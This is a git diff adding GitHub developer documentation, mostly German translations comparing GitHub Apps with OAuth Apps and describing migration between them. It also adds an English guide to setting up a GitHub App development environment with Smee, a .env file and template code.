+**Hinweis:** GitHub-Apps können auch ein benutzerbasiertes Token verwenden. Weitere Informationen findest du unter [Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) („Identifizieren und Autorisieren von Benutzer*innen für GitHub-Apps“).
+
+{% endnote %}
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ----------- |
+| Eine GitHub-App kann out-of-band mithilfe eines privaten Schlüssels mit einem JSON-Webtokenformat ein Installationszugriffstoken anfordern. | Eine OAuth-App kann ein Anforderungstoken nach einer Umleitung über eine Webanforderung gegen ein Zugriffstoken tauschen. |
+| Mit einem Installationstoken wird die App als GitHub-Apps-Bot identifiziert (z. B. @jenkins-bot). | Mit einem Zugriffstoken wird die App als diejenige oder derjenige Benutzer*in identifiziert, die bzw. der das Token für die App gewährt hat (z. B. @octocat). |
+| Installationstoken laufen nach einer vordefinierten Zeit ab (derzeit nach 1 Stunde). | OAuth-Token bleiben aktiv, bis sie vom Kunden widerrufen werden. |
+| Für {% data variables.product.prodname_github_apps %}, die in Organisationen oder Repositorys installiert sind, gelten die Ratenlimits für Server-zu-Server-Anforderungen. Weitere Informationen findest du unter [Rate limits for {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/rate-limits-for-github-apps) („Ratenlimits für GitHub-Apps“). | Für OAuth-Token gilt das Benutzerratenlimit von {% ifversion fpt or ghec or ghes %}5.000{% elsif ghae %}15.000{% endif %} Anforderungen pro Stunde. |
+| Die Ratenbegrenzung kann sowohl auf Ebene der GitHub-Apps (für alle Installationen) als auch auf Ebene der einzelnen Installationen erhöht werden. | Die Ratenbegrenzung wird pro OAuth-App erweitert. Jedes Token, das der jeweiligen OAuth-App zugewiesen wird, verfügt über das erhöhte Limit. |
+| {% data variables.product.prodname_github_apps %} können sich im Namen der Benutzerin oder des Benutzers authentifizieren. Dies wird als Benutzer-zu-Server-Anforderung bezeichnet. Der Autorisierungsflow entspricht dem Autorisierungsflow bei OAuth-Apps. Benutzer-zu-Server-Token können ablaufen und mit einem Aktualisierungstoken verlängert werden. Weitere Informationen findest du unter [Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/) („Aktualisieren von Benutzer-zu-Server-Zugriffstoken“) und [Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) („Identifizieren und Autorisieren von Benutzer*innen für GitHub-Apps“). | Beim von {% data variables.product.prodname_oauth_apps %} verwendeten OAuth-Flow wird eine {% data variables.product.prodname_oauth_app %} im Namen der Benutzerin bzw. des Benutzers autorisiert. Dies ist derselbe Flow, der bei der Benutzer-zu-Server-Autorisierung der {% data variables.product.prodname_github_app %} verwendet wird. |
+
+## Anfordern von Berechtigungsstufen für Ressourcen
+
+Im Gegensatz zu OAuth-Apps verfügen GitHub-Apps über gezielte Berechtigungen, mit denen sie lediglich Zugriff auf Ressourcen anfordern können, die sie benötigen. Beispielsweise kann eine GitHub-App für Continuous Integration (CI) Lesezugriff auf Repositoryinhalte und Schreibzugriff auf die Status-API anfordern. Eine andere GitHub-App kann keinen Lese- oder Schreibzugriff auf Code haben, aber trotzdem Issues, Bezeichnungen und Meilensteine verwalten können. OAuth-Apps können keine präzisen Berechtigungen verwenden.
+
+| Zugriff | GitHub-Apps (`read`- oder `write`-Berechtigungen) | OAuth-Apps im Vergleich |
+| ------ | ----- | ----------- |
+| **Für Zugriff auf öffentliche Repositorys** | Das öffentliche Repository muss während der Installation ausgewählt werden. | Der Bereich `public_repo`. |
+| **Für Zugriff auf Repositorycode/-inhalte** | Repository-Inhalt | Der Bereich `repo`. |
+| **Für Zugriff auf Issues, Bezeichnungen und Meilensteine** | Probleme | Der Bereich `repo`. |
+| **Für Zugriff auf Pull Requests, Bezeichnungen und Meilensteine** | Pull Requests | Der Bereich `repo`. |
+| **Für Zugriff auf Commitstatus (für CI-Builds)** | Commitstatus | Der Bereich `repo:status`. |
+| **Für Zugriff auf Bereitstellungen und Bereitstellungsstatus** | Bereitstellungen | Der Bereich `repo_deployment`. |
+| **Für den Empfang von Ereignissen über einen Webhook** | Eine GitHub-App umfasst standardmäßig einen Webhook. | Der Bereich `write:repo_hook` oder `write:org_hook`. |
+
+## Repositoryermittlung
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ----------- |
+| GitHub-Apps können anhand von `/installation/repositories` ermitteln, auf welche Repositorys die Installation zugreifen kann. | OAuth-Apps erhalten anhand von `/user/repos` eine Benutzeransicht und anhand von `/orgs/:org/repos` eine Organisationsansicht mit Informationen zu den Repositorys, auf die zugegriffen werden kann. |
+| GitHub-Apps empfangen Webhooks, wenn Repositorys hinzugefügt oder aus der Installation entfernt werden. | OAuth-Apps erstellen Organisationswebhooks für Benachrichtigungen, wenn ein neues Repository innerhalb einer Organisation erstellt wird. |
+
+## webhooks
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ----------- |
+| Standardmäßig verfügen GitHub-Apps über einen einzelnen Webhook. Dieser empfängt die konfigurierten Ereignisse für alle Repositorys, auf die er zugreifen kann. | OAuth-Apps fordern den Webhookbereich an, um einen Repositorywebhook für jedes Repository zu erstellen, von dem sie Ereignisse empfangen müssen. |
+| GitHub-Apps empfangen bestimmte Ereignisse auf Organisationsebene mit der Berechtigung des Organisationsmitglieds. | OAuth-Apps fordern den Webhookbereich der Organisation an, um einen Organisationswebhook für jede Organisation zu erstellen, von der sie Ereignisse auf Organisationsebene empfangen müssen. |
+| Webhooks werden automatisch deaktiviert, wenn die GitHub-App deinstalliert wird. | Webhooks werden nicht automatisch deaktiviert, wenn das Zugriffstoken einer OAuth-App gelöscht wird, und es gibt keine Möglichkeit, sie automatisch zu bereinigen. Du musst die Benutzer*innen bitten, dies manuell zu tun.|
+
+## Git-Zugriff
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ----------- |
+| GitHub-Apps fordern die Berechtigung für Repositoryinhalte an und verwenden dein Installationstoken für die Authentifizierung über [HTTP-basierten Git-Zugriff](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | OAuth-Apps fordern über die API den Geltungsbereich für `write:public_key` an und [erstellen einen Bereitstellungsschlüssel](/rest/reference/deployments#create-a-deploy-key). Diesen Schlüssel kannst du dann zum Ausführen von Git-Befehlen verwenden. |
+| Das Token wird als HTTP-Kennwort verwendet. | Das Token wird als HTTP-Benutzername verwendet. |
+
+## Computer- und Botkonten im Vergleich
+
+Computerbenutzerkonten sind OAuth-basierte persönliche Konten, die automatisierte Systeme mithilfe des GitHub-Benutzersystems trennen.
+
+Botkonten sind ein spezifisches Element von GitHub-Apps und in jede GitHub-App integriert.
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ----------- |
+| Für GitHub-App-Bots wird kein {% data variables.product.prodname_enterprise %}-Arbeitsplatz verwendet. | Für Computerbenutzerkonten wird ein {% data variables.product.prodname_enterprise %}-Arbeitsplatz verwendet. |
+| Da einem GitHub-App-Bot niemals ein Kennwort zugewiesen wird, können Kunden sich nicht direkt bei dem Bot anmelden. | Computerbenutzerkonten werden Benutzernamen und Kennwörter zugewiesen, die vom Kunden verwaltet und geschützt werden. |
diff --git a/translations/de-DE/content/developers/apps/getting-started-with-apps/index.md b/translations/de-DE/content/developers/apps/getting-started-with-apps/index.md
new file mode 100644
index 0000000000..9e651fe4c9
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/getting-started-with-apps/index.md
@@ -0,0 +1,24 @@
+---
+title: Erste Schritte mit Apps
+intro: Erfahre mehr über das Erstellen von Apps und das Einrichten deiner Entwicklungsumgebung.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+children:
+  - /about-apps
+  - /activating-optional-features-for-apps
+  - /differences-between-github-apps-and-oauth-apps
+  - /migrating-oauth-apps-to-github-apps
+  - /setting-up-your-development-environment-to-create-a-github-app
+ms.openlocfilehash: 2367a4f135d5c65f41147190f1a06bc96a2ecb28
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089963'
+---
+
diff --git a/translations/de-DE/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md b/translations/de-DE/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
new file mode 100644
index 0000000000..ab201f99e1
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
@@ -0,0 +1,115 @@
+---
+title: Migrieren von OAuth-Apps zu GitHub-Apps
+intro: 'Erfahre, welche Vorteile die Migration deiner {% data variables.product.prodname_oauth_app %} zu einer {% data variables.product.prodname_github_app %} hat und wie du eine {% data variables.product.prodname_oauth_app %} migrierst, die nicht auf {% data variables.product.prodname_marketplace %} gelistet ist. '
+redirect_from:
+  - /apps/migrating-oauth-apps-to-github-apps
+  - /developers/apps/migrating-oauth-apps-to-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Migrate from OAuth Apps
+ms.openlocfilehash: 4fea258cc9677401d8212634fdcc04abf22724c9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147081032'
+---
+Dieser Artikel enthält Richtlinien für vorhandene Integratoren, die die Migration von einer OAuth-App zu einer GitHub-App in Betracht ziehen.
+
+## Gründe für den Wechsel zu GitHub-Apps
+
+[GitHub-Apps](/apps/) sind die offiziell empfohlene Möglichkeit, eine Integration mit GitHub durchzuführen, da sie viele Vorteile gegenüber einer reinen OAuth-basierten Integration bieten:
+
+- [Abgestimmte Berechtigungen](/apps/differences-between-apps/#requesting-permission-levels-for-resources) zielen auf die spezifischen Informationen ab, auf die eine GitHub-App zugreifen kann, sodass die App mit Sicherheitsrichtlinien von einem breiteren Kreis an Personen und Organisationen genutzt werden kann, als dies mit OAuth-Apps möglich wäre, die nicht durch Berechtigungen begrenzt werden können.
+- [Kurzlebige Token](/apps/differences-between-apps/#token-based-identification) bieten im Vergleich zu OAuth-Token eine sicherere Authentifizierungsmethode. Ein OAuth-Token läuft erst ab, wenn die Person, die die OAuth-App autorisiert hat, das Token widerruft. Von GitHub-Apps werden Token verwendet, die schnell ablaufen. Dadurch entsteht ein viel kleineres Zeitfenster für die Verwendung kompromittierter Token.
+- [Integrierte, zentralisierte Webhooks](/apps/differences-between-apps/#webhooks) empfangen Ereignisse für alle Repositorys und Organisationen, auf die die App zugreifen kann. Umgekehrt muss für OAuth-Apps ein Webhook für die jeweiligen Repositorys und Organisationen konfiguriert werden, auf die der Benutzer zugreifen kann.
+- [Bot-Konten](/apps/differences-between-apps/#machine-vs-bot-accounts) verbrauchen keinen {% data variables.product.product_name %}-Arbeitsplatz und bleiben auch dann installiert, wenn die Person, die die App ursprünglich installiert hat, die Organisation verlässt.
+- Die integrierte Unterstützung für OAuth ist mit [Benutzer-zu-Server-Endpunkten](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) weiterhin für GitHub-Apps verfügbar.
+- Dedizierte [API-Ratelimits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) für Bot-Konten lassen sich mit der jeweiligen Integration skalieren.
+- Für Repositorybesitzer ist die [Installation von GitHub-Apps](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps) in Organisationsrepositorys möglich. Wenn die Konfiguration einer GitHub-App über Berechtigungen verfügt, mit denen die Ressourcen einer Organisation angefordert werden, muss der Organisationsbesitzer die Installation genehmigen.
+- Support seitens der Open-Source-Community ist über [Octokit-Bibliotheken](/rest/overview/libraries) und andere Frameworks wie [Probot](https://probot.github.io/) verfügbar.
+- Integratoren, die GitHub-Apps erstellen, haben Möglichkeiten, früheren Zugriff auf APIs zu übernehmen.
+
+## Konvertieren einer OAuth-App in eine GitHub-App
+
+Diese Richtlinien gehen davon aus, dass du über eine registrierte OAuth-App verfügst{% ifversion fpt or ghec %}, die möglicherweise in GitHub Marketplace aufgeführt ist{% endif %}. Ganz allgemein musst du die folgenden Schritte ausführen:
+
+1. [Überprüfen der verfügbaren API-Endpunkte für GitHub-Apps](#review-the-available-api-endpoints-for-github-apps)
+1. [Entwerfen einer Konzeption innerhalb des API-Ratenlimits](#design-to-stay-within-api-rate-limits)
+1. [Registrieren einer neuen GitHub-App](#register-a-new-github-app)
+1. [Ermitteln der von der App benötigten Berechtigungen](#determine-the-permissions-your-app-requires)
+1. [Abonnieren von Webhooks](#subscribe-to-webhooks)
+1. [Verstehen der verschiedenen Authentifizierungsmethoden](#understand-the-different-methods-of-authentication)
+1. [Anleiten der Benutzer beim Installieren deiner GitHub-App in Repositorys](#direct-users-to-install-your-github-app-on-repositories)
+1. [Entfernen von unnötigen Repositoryhooks](#remove-any-unnecessary-repository-hooks)
+1. [Ermutigen der Benutzer zum Widerrufen des Zugriffs auf die OAuth-App](#encourage-users-to-revoke-access-to-your-oauth-app)
+1. [Löschen der OAuth-App](#delete-the-oauth-app)
+
+### Überprüfen der verfügbaren API-Endpunkte für GitHub-Apps
+
+Während die meisten [REST-API](/rest)-Endpunkte und [GraphQL](/graphql)-Abfragen heute für GitHub-Apps verfügbar sind, wird weiterhin daran gearbeitet, bestimmte Endpunkte verfügbar zu machen. Sieh dir die [verfügbaren REST-Endpunkte](/rest/overview/endpoints-available-for-github-apps) an, um dich zu vergewissern, dass die von dir benötigten Endpunkte mit GitHub-Apps kompatibel sind. Beachte, dass einige der API-Endpunkte, die für GitHub-Apps verfügbar sind, ermöglichen, dass die App im Namen des Benutzers handeln kann. Unter [Benutzer-zu-Server-Anforderungen](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests) findest du eine Liste von Endpunkten, die zulassen, dass sich eine GitHub-App als Benutzer authentifizieren kann.
+
+Es wird empfohlen, die Liste der benötigten API-Endpunkte so früh wie möglich durchzugehen. Teile dem Support mit, ob es einen von dir benötigten Endpunkt gibt, der noch nicht für {% data variables.product.prodname_github_apps %} aktiviert ist.
+
+### Entwerfen einer Konzeption innerhalb des API-Ratenlimits
+
+Für GitHub-Apps werden [Gleitregeln für Ratenlimits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) verwendet, die basierend auf der Anzahl der Repositorys und Benutzer in der Organisation erhöht werden können. Eine GitHub-App kann auch [bedingte Anforderungen](/rest/overview/resources-in-the-rest-api#conditional-requests) verwenden oder Anforderungen mithilfe der [GraphQL-API](/graphql) konsolidieren.
+
+### Registrieren einer neuen GitHub-App
+
+Nachdem du dich entschieden hast, zu GitHub-Apps zu wechseln, musst du [eine neue GitHub-App erstellen](/apps/building-github-apps/).
+
+### Ermitteln der von der App benötigten Berechtigungen
+
+Wenn du deine GitHub-App registrierst, musst du die für jeden im Code der App verwendeten Endpunkt erforderlichen Berechtigungen auswählen. Unter [GitHub-App-Berechtigungen](/rest/reference/permissions-required-for-github-apps) findest du eine Liste der Berechtigungen, die für jeden Endpunkt erforderlich sind, der für GitHub-Apps verfügbar ist.
+
+In den Einstellungen deiner GitHub-App kannst du angeben, ob deine App `No Access`-, `Read-only`- oder `Read & Write`-Zugriff für die jeweiligen Berechtigungstypen benötigt. Durch die angepassten Berechtigungen kann die App gezielt auf die jeweils benötigte Teilmenge von Daten zugreifen. Es empfiehlt sich, die jeweils kleinste Anzahl von Berechtigungen anzugeben, mit denen die gewünschte Funktionalität bereitgestellt werden kann.
+
+### Abonnieren von Webhooks
+
+Nachdem du eine neue GitHub-App erstellt und die für sie benötigten Berechtigungen ausgewählt hast, kannst du die Webhookereignisse auswählen, die du abonnieren möchtest. Informationen zum Abonnieren von Webhooks findest du unter [Bearbeiten der Berechtigungen einer GitHub-App](/apps/managing-github-apps/editing-a-github-app-s-permissions/).
+
+### Verstehen der verschiedenen Authentifizierungsmethoden
+
+Für GitHub-Apps wird hauptsächlich eine tokenbasierte Authentifizierung verwendet, die nach kurzer Zeit abläuft und mehr Sicherheit als ein OAuth-Token bietet, das nicht abläuft. Es ist wichtig, die verschiedenen Methoden der Authentifizierung zu verstehen, die dir zur Verfügung stehen, und zu wissen, wann du diese verwenden musst:
+
+* Ein **JSON-Webtoken (JWT)** [dient der Authentifizierung als GitHub-App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). Du kannst dich beispielsweise mit einem **JWT** authentifizieren, um Anwendungsinstallationsdetails abzurufen oder das **JWT** gegen ein **Installationszugriffstoken** auszutauschen.
+* Ein **Installationszugriffstoken** [dient der Authentifizierung als eine bestimmte Installation deiner GitHub-App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) (auch als Server-zu-Server-Anforderungen bezeichnet). Du kannst dich beispielsweise mit einem **Installationszugriffstoken** authentifizieren, um ein Issue zu öffnen oder Feedback zu einem Pull Request bereitzustellen.
+* Ein **OAuth-Zugriffstoken** dient der [Authentifizierung als Benutzer deiner GitHub-App](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site) (auch als Benutzer-zu-Server-Anforderungen bezeichnet). Du kannst beispielsweise ein OAuth-Zugriffstoken verwenden, um dich als Benutzer zu authentifizieren, wenn eine GitHub-App die Identität eines Benutzers überprüfen oder im Namen eines Benutzers handeln muss.
+
+Das am häufigsten verwendete Szenario besteht darin, eine Authentifizierung als eine bestimmte Installation mithilfe eines **Installationszugriffstokens** durchzuführen.
+
+### Anleiten der Benutzer beim Installieren deiner GitHub-App in Repositorys
+
+Nachdem du den Wechsel von einer OAuth-App zu einer GitHub-App durchgeführt hast, musst du den Benutzern mitteilen, dass die GitHub-App zur Installation verfügbar ist. Du kannst beispielsweise einen Installationslink für die GitHub-App in ein Handlungsaufforderungsbanner in deine Anwendung einfügen. Zur Erleichterung des Übergangs kannst du Abfrageparameter verwenden, um das Benutzer- oder Organisationskonto zu identifizieren, für das der Installationsflow für deine GitHub-App ausgeführt wird, und alle Repositorys, auf die deine OAuth-App Zugriff hatte, vorab auszuwählen. Auf diese Weise können Benutzer deine GitHub-App ganz einfach in Repositorys installieren, auf die sie bereits Zugriff haben.
+
+#### Abfrageparameter
+
+| Name | BESCHREIBUNG |
+|------|-------------|
+| `suggested_target_id` | **Erforderlich**: ID des Benutzers oder der Organisation, der/die deine GitHub-App installiert. |
+| `repository_ids[]` | Array von Repository-IDs. Wenn nicht angegeben, werden alle Repositorys ausgewählt. Die maximale Anzahl von Repositorys, die vorab ausgewählt werden können, beträgt 100. |
+
+#### Beispiel-URL
+```
+https://github.com/apps/YOUR_APP_NAME/installations/new/permissions?suggested_target_id=ID_OF_USER_OR_ORG&repository_ids[]=REPO_A_ID&repository_ids[]=REPO_B_ID
+```
+
+Du musst `YOUR_APP_NAME` durch den Namen deiner GitHub-App und `ID_OF_USER_OR_ORG` durch die ID des Zielbenutzers oder der Zielorganisation ersetzen und bis zu 100 Repository-IDs (`REPO_A_ID` und `REPO_B_ID`) einbeziehen. Zum Abrufen einer Liste der Repositorys, auf die deine OAuth-App Zugriff hat, verwendest du die Endpunkte [Auflisten von Repositorys für den authentifizierten Benutzer](/rest/reference/repos#list-repositories-for-the-authenticated-user) und [Auflisten von Organisationsrepositorys](/rest/reference/repos#list-organization-repositories).
+
+### Entfernen von unnötigen Repositoryhooks
+
+Nachdem deine GitHub-App in einem Repository installiert wurde, solltest du unnötige Webhooks entfernen, die von der OAuth-Legacy-App erstellt wurden. Wenn beide Apps in einem Repository installiert sind, können sie möglicherweise die Funktionalität für den Benutzer duplizieren. Zum Entfernen von Webhooks kannst du mit der Aktion `repositories_added` eine Überwachung auf den [`installation_repositories`-Webhook](/webhooks/event-payloads/#installation_repositories) durchführen und [einen Repositorywebhook in den Repositorys löschen](/rest/reference/webhooks#delete-a-repository-webhook), die von der OAuth-App erstellt wurden.
+
+### Ermutigen der Benutzer zum Widerrufen des Zugriffs auf die OAuth-App
+
+Wenn die Installationsbasis deiner GitHub-App wächst, solltest du die Benutzer ermutigen, den Zugriff auf die OAuth-Legacy-Integration zu widerrufen. Weitere Informationen findest du unter [Autorisieren von OAuth-Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).
+
+### Löschen der OAuth-App
+
+Zum Verhindern der missbräuchlichen Verwendung der Anmeldeinformationen für die OAuth-App sollte die OAuth-App gelöscht werden. Mit dieser Aktion werden auch alle verbleibenden Autorisierungen der OAuth-App widerrufen. Weitere Informationen findest du unter [Löschen einer OAuth-App](/developers/apps/managing-oauth-apps/deleting-an-oauth-app).
diff --git a/translations/de-DE/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md b/translations/de-DE/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md
new file mode 100644
index 0000000000..c0806fccb2
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md
@@ -0,0 +1,453 @@
+---
+title: Setting up your development environment to create a GitHub App
+intro: 'Learn the foundations for extending and building new {% data variables.product.prodname_github_apps %}.'
+redirect_from:
+  - /apps/quickstart-guides/setting-up-your-development-environment
+  - /developers/apps/setting-up-your-development-environment-to-create-a-github-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Development environment
+---
+## Introduction
+
+This guide will walk through the steps needed to configure a GitHub App and run it on a server. GitHub Apps require some setup steps to manage webhook events and connect the app registration on GitHub to your code. The app in this guide serves as a foundation that you can use to extend and build new GitHub Apps.
+
+By the end of this guide you'll have registered a GitHub App and set up a web server to receive webhook events. You'll learn how to use a tool called Smee to capture webhook payloads and forward them to your local development environment. The template app you'll configure in this section won't do anything special yet, but it will serve as a framework you can use to start writing app code using the API or complete other [quickstart guides](/apps/quickstart-guides/). {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %}
+
+After completing this project you will understand how to authenticate as a GitHub App and an installation, and how those authentication methods are different.
+
+Here are the steps you'll take to configure the template GitHub App:
+
+1. [Start a new Smee channel](#step-1-start-a-new-smee-channel)
+1. [Register a new GitHub App](#step-2-register-a-new-github-app)
+1. [Save your private key and App ID](#step-3-save-your-private-key-and-app-id)
+1. [Prepare the runtime environment](#step-4-prepare-the-runtime-environment)
+1. [Review the GitHub App template code](#step-5-review-the-github-app-template-code)
+1. [Start the server](#step-6-start-the-server)
+1. [Install the app on your account](#step-7-install-the-app-on-your-account)
+
+{% data reusables.apps.app-ruby-guides %}
+
+## Prerequisites
+
+You may find it helpful to have a basic understanding of the following:
+
+* [GitHub Apps](/apps/about-apps)
+* [Webhooks](/webhooks)
+* [The Ruby programming language](https://www.ruby-lang.org/en/)
+* [REST APIs](/rest)
+* [Sinatra](http://sinatrarb.com/)
+
+But you can follow along at any experience level. We'll link out to information you need along the way!
+
+Before you begin, you'll need to clone the repository with the template code used in this quickstart. Open your Terminal app and find a directory where you'd like to store the code. Run this command to clone the [GitHub App template](https://github.com/github-developer/github-app-template) repository:
+
+```shell
+$ git clone https://github.com/github-developer/github-app-template.git
+```
+
+## Step 1. Start a new Smee channel
+
+To help GitHub send webhooks to your local machine without exposing it to the internet, you can use a tool called Smee. First, go to https://smee.io and click **Start a new channel**. If you're already comfortable with other tools that expose your local machine to the internet like [`ngrok`](https://dashboard.ngrok.com/get-started) or [`localtunnel`](https://localtunnel.github.io/www/), feel free to use those.
+
+![The Smee new channel button](/assets/images/smee-new-channel.png)
+
+Starting a new Smee channel creates a unique domain where GitHub can send webhook payloads. You'll need to know this domain for the next step. Here is an example of a unique domain at `https://smee.io/qrfeVRbFbffd6vD`:
+
+![A Smee unique channel](/assets/images/smee-unique-domain.png)
+
+Next, go back to the Terminal and follow these steps to run the Smee command-line interface (CLI) client:
+
+{% note %}
+
+**Note:** The following steps are slightly different than the "Use the CLI" instructions you'll see in your Smee channel page. You do **not** need to follow the "Use the Node.js client" or "Using Probot's built-in support" instructions.
+
+{% endnote %}
+
+1. Install the client:
+
+    ```shell
+    $ npm install --global smee-client
+    ```
+
+2. Run the client (replacing `https://smee.io/qrfeVRbFbffd6vD` with your own domain):
+
+    ```shell
+    $ smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000
+    ```
+
+    You should see output like the following:
+
+    ```shell
+    Forwarding https://smee.io/qrfeVRbFbffd6vD to http://127.0.0.1:3000/event_handler
+    Connected https://smee.io/qrfeVRbFbffd6vD
+    ```
+
+The `smee --url <unique_channel>` command tells Smee to forward all webhook events received by the Smee channel to the Smee client running on your computer. The `--path /event_handler` option forwards events to the `/event_handler` route, which we'll cover in a [later section](#step-5-review-the-github-app-template-code). The `--port 3000` option specifies port 3000, which is the port your server will be listening to. Using Smee, your machine does not need to be open to the public internet to receive webhooks from GitHub. You can also open that Smee URL in your browser to inspect webhook payloads as they come in.
+
+We recommend leaving this Terminal window open and keeping Smee connected while you complete the rest of the steps in this guide. Although you _can_ disconnect and reconnect the Smee client without losing your unique domain (unlike `ngrok`), you may find it easier to leave it connected and do other command-line tasks in a different Terminal window.
+
+## Step 2. Register a new GitHub App
+
+If you don't yet have a GitHub account, now is a [great time to join](https://github.com/join). Don't forget to verify your email before continuing! To register a new app, visit the [app settings page](https://github.com/settings/apps) in your GitHub profile, and click **New GitHub App**.
+
+![GitHub website, showing the **New App**](/assets/images/new-app.png)
+
+You'll see a form where you can enter details about your app. See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" for general information about the fields on this page. For the purposes of this guide, you'll need to enter specific data in a few fields:
+
+{% note %}
+
+**Note:** You can always update these settings later to point to a hosted server.
+
+{% endnote %}
+
+* For the "Homepage URL", use the domain issued by Smee. For example:
+
+    ![Form with Smee domain filled in for homepage URL](/assets/images/homepage-url.png)
+
+* For the "Webhook URL", again use the domain issued by Smee. For example:
+
+    ![Form with Smee domain filled in for webhook URL](/assets/images/webhook-url.png)
+
+* For the "Webhook secret", create a password to secure your webhook endpoints. This should be something that only you (and GitHub, via this form) know. The secret is important because you will be receiving payloads from the public internet, and you'll use this secret to verify the webhook sender. Note that the GitHub App settings say the webhook secret is optional, which is true in most cases, but for the template app code to work, you must set a webhook secret.
+
+    ![Form with webhook secret filled in](/assets/images/webhook-secret.png)
+
+* On the Permissions & Webhooks page, you can specify a set of permissions for your app, which determines how much data your app has access to. Under the "Repository permissions"
+ section, scroll down to "Metadata" and select `Access: Read-only`. If you decide to extend this template app, you can update these permissions later.
+
+* At the bottom of the Permissions & Webhooks page, specify whether this is a private app or a public app. This refers to who can install it: just you, or anyone in the world? For now, leave the app as private by selecting **Only on this account**.
+
+    ![GitHub App privacy](/assets/images/create_app.png)
+
+Click **Create GitHub App** to create your app!
+
+## Step 3. Save your private key and App ID
+
+After you create your app, you'll be taken back to the [app settings page](https://github.com/settings/apps). You have two more things to do here:
+
+* **Generate a private key for your app.** This is necessary to authenticate your app later on. Scroll down on the page and click **Generate a private key**. Save the resulting `PEM` file (called something like  _`app-name`_-_`date`_-`private-key.pem`) in a directory where you can find it again.
+
+    ![The private key generation dialog](/assets/images/private_key.png)
+
+* **Note the app ID GitHub has assigned your app.** You'll need this to prepare your runtime environment.
+
+    <img src="/assets/images/app_id.png" alt="Your app's ID number" width="200px"/>
+
+## Step 4. Prepare the runtime environment
+
+To keep your information secure, we recommend putting all your app-related secrets in your computer's memory where your app can find them, rather than putting them directly in your code. A handy development tool called [dotenv](https://github.com/bkeepers/dotenv) loads project-specific environment variables from a `.env` file to `ENV`. Never check your `.env` file into GitHub. This is a local file that stores sensitive information that you don't want on the public internet. The `.env` file is already included in the repository's [`.gitignore`](/github/getting-started-with-github/ignoring-files/) file to prevent that.
+
+The template code you downloaded in the [Prerequisites section](#prerequisites) already has an example file called `.env-example`. Rename the example file from `.env-example` to `.env` or create a copy of the `.env-example` file called `.env`. You haven't installed dotenv yet, but you will install it later in this quickstart when you run `bundle install`. **Note:** Quickstarts that reference the steps in this guide may include additional environment variables in the `.env-example` file. Reference the quickstart guide for the project you've cloned on GitHub for guidance setting those additional environment variables.
+
+You need to add these variables to the `.env` file:
+
+* _`GITHUB_PRIVATE_KEY`_: Add the private key you [generated and saved previously](#step-3-save-your-private-key-and-app-id). Open the `.pem` file with a text editor or use the command line to display the contents of the file: `cat path/to/your/private-key.pem`. Copy the entire contents of the file as the value of `GITHUB_PRIVATE_KEY` in your `.env` file. **Note:** Because the PEM file is more than one line you'll need to add quotes around the value like the example below.
+* _`GITHUB_APP_IDENTIFIER`_: Use the app ID you noted in the previous section.
+* _`GITHUB_WEBHOOK_SECRET`_: Add your webhook secret.
+
+Here is an example `.env` file:
+
+```
+GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
+...
+HkVN9...
+...
+-----END DSA PRIVATE KEY-----"
+GITHUB_APP_IDENTIFIER=12345
+GITHUB_WEBHOOK_SECRET=your webhook secret
+```
+
+## Step 5. Review the GitHub App template code
+
+The template app code already contains some code that every GitHub App will need. This sections walks you through the code that already exists in the GitHub App template. There aren't any steps that you need to complete in this section. If you're already familiar with the template code, you can skip ahead to "[Step 6. Start the server](#step-6-start-the-server)."
+
+Open up the `template_server.rb` file in your favorite text editor. You'll see comments throughout this file that provide additional context for the template code. We recommend reading those comments carefully and even adding your own comments to accompany new code you write.
+
